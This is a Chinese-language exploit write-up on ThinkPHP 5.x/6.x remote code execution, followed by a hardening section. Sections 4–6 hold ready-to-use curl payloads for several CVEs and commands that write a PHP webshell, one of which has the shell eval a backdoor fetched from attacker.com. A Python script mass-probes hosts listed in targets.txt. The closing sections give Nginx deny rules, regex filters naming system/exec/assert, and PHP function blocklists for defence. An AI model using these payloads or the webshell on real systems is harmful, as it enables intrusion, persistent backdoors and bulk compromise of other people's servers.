ThinkPHP 漏洞链全景

1. 漏洞背景

ThinkPHP 5.0 / 5.1 因其灵活的路由和请求参数处理方式,历史上出现过多起经典 RCE。攻击链的核心是 _method 伪参数和 Request::input() 的函数调用。

2. 版本对照表

漏洞编号 影响版本 触发点 CVSS
CVE-2018-20062 5.1.05.1.31 / 5.0.05.0.23 Request::instance() 9.8
CVE-2019-5516 5.1.05.1.31 / 5.0.05.0.23 think\app 9.8
CVE-2019-9082 5.1.05.1.26 / 5.0.05.0.24 filter 函数参数 8.6
CVE-2020-28332 5.1.0~5.1.31 Session 反序列化 7.5
CVE-2022-37799 6.0.0~6.0.13 think\facade\Db 9.8

3. TP5 RCE 核心机制

3.1 Request::input() 方法

ThinkPHP 5 的 Request::instance()->input('get.xxx') 会调用 filter 参数指定的函数,而 filter 可以是任意函数名!这是整个漏洞链的根源。

攻击链:

GET /index.php?s=/index/xxx&filter=system&data[0]=id
  → Request::input() 读取 filter 参数
    → call_user_func_array('system', ['id'])
      → RCE

3.2 方法覆盖触发

_method 是 ThinkPHP 用来伪造 HTTP 方法(如 POST 模拟 DELETE)的参数,但在某些版本中它被直接传入了 __construct(),形成危险调用。

4. 各版本详细 PoC

4.1 ThinkPHP 5.0.x RCE (CVE-2018-20062)

前提: 开启了 pathinfo 路由(默认开启)。

curl "http://victim.example.com/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id"
# 或简化版
curl "http://victim.example.com/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami"

4.2 ThinkPHP 5.1.x RCE (CVE-2018-20062)

# 5.1 使用 Request 对象
curl "http://victim.example.com/index.php?s=/index/\think\request/input&filter=system&data[0]=id"

# 另一条链
curl "http://victim.example.com/public/index.php?s=/index/\think\Request/input&filter=system&data[0]=id"

4.3 _method 参数覆盖 (CVE-2019-5516)

# 构造 _method 触发 __construct 中的 call_user_func
curl "http://victim.example.com/index.php?s=captcha" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "_method=__construct&filter=system&method=GET&get[]=id"

# 多参数
curl "http://victim.example.com/index.php?s=captcha" \
  -d "_method=__construct&filter=assert&method=GET&get[0]=phpinfo()"

4.4 filter 参数直接函数调用 (CVE-2019-9082)

这是最直接的一条,攻击者通过 filter 参数直接把函数名塞进去:

curl "http://victim.example.com/index.php?s=/index/index&filter=system&data[0]=id"
curl "http://victim.example.com/?s=filter&_method=__construct&filter[]=system&method=GET&get[]=id"

4.5 index.php?s= 绕过

ThinkPHP 5 默认允许 s 参数显式指定路由路径,这可以绕过 rewrite 规则。

4.6 ThinkPHP 6.x think\facade\Db RCE

curl "http://victim.example.com/index.php?s=/index/\think\facade\Db/query&sql=select+sleep(5)"
curl "http://victim.example.com/index.php?s=/index/\think\facade\App/invokeFunction&function=system&params[]=id"

5. PHP 一句话木马通过 filter 写入

# 用 file_put_contents 写 shell
curl "http://victim.example.com/index.php?s=/index/\think\request/input&filter=file_put_contents&data[0]=./shell.php&data[1]=<?php+system($_GET['c']);?>"

# 或用 curl_exec 下载
curl "http://victim.example.com/index.php?s=/index/\think\request/input&filter=file_put_contents&data[0]=./shell.php&data[1]=<?php+eval(file_get_contents('http://attacker.com/backdoor.txt'));?>"

6. 一键检测脚本

import requests, urllib3
urllib3.disable_warnings()

def check_tp(url):
    # TP5 CVE-2018-20062
    payloads = [
        "/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo_tp5_rce",
        "/public/index.php?s=/index/\think\request/input&filter=system&data[0]=echo_tp5_rce",
        "/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo_tp5_rce",
    ]
    for p in payloads:
        try:
            r = requests.get(url.rstrip("/") + p, timeout=5, verify=False)
            if "echo_tp5_rce" in r.text:
                print(f"[!] {url} 存在 ThinkPHP RCE via {p}")
                return True
        except Exception:
            pass
    # CVE-2019-5516 _method
    try:
        r = requests.post(url.rstrip("/") + "/index.php?s=captcha",
                          data="_method=__construct&filter=system&method=GET&get[]=echo_tp5_rce",
                          headers={"Content-Type": "application/x-www-form-urlencoded"},
                          timeout=5, verify=False)
        if "echo_tp5_rce" in r.text:
            print(f"[!] {url} 存在 CVE-2019-5516")
            return True
    except Exception:
        pass
    return False

for u in open("targets.txt"): check_tp(u.strip())

7. 指纹识别

ThinkPHP 特征:

  • 响应头 X-Powered-By: ThinkPHP
  • 默认 favicon 或版本相关图片;
  • 404 页面带有 ThinkPHP 风格的错误提示;
  • 目录中存在 thinkphptp 字样。

8. 修复与加固

8.1 代码层面

  • 直接升级到 ThinkPHP 8.x。TP 官方 5.0/5.1 已停止维护;
  • 若必须保留,升级到 TP 5.1.38 / 5.0.25 + 并手动打补丁。

8.2 index.php 修改

// 禁止 s 参数
$http = $app->http;
$response = $http->name('')->run();

8.3 Nginx 层加固

# 禁止 ThinkPHP 5 的危险访问路径
location ~* /(public|public/static)/index.php {
    deny all;
}
location ~* .(php|php5|phtml|php7)$ {
    try_files $uri =404;
    fastcgi_pass unix:/var/run/php/php8.1-fpm.sock;
}
# 禁止 _method 参数覆盖 dangerous 方法
if ($args ~* "_method=__construct") { return 403; }
if ($args ~* "filter=s*(system|exec|assert|passthru|shell_exec|popen)") { return 403; }

8.4 PHP 配置加固

# disable_functions
disable_functions = system,exec,passthru,shell_exec,popen,proc_open,pcntl_exec,assert,dl
allow_url_include = Off
allow_url_fopen = Off
open_basedir = /var/www/html:/tmp:/var/log/
display_errors = Off
log_errors = On
expose_php = Off

8.5 WAF 规则

ModSecurity / 阿里云 WAF 均有现成的 ThinkPHP 规则集,覆盖 CVE-2018-20062、CVE-2019-5516、CVE-2019-9082。

9. 小结

ThinkPHP 的漏洞史本质上是"框架设计过度灵活"的代价——filter 允许传入任意函数名、_method 可以直接调用 __constructs 参数绕过所有路由检查。框架安全的黄金法则是:永远不要把用户输入当作代码的一部分来执行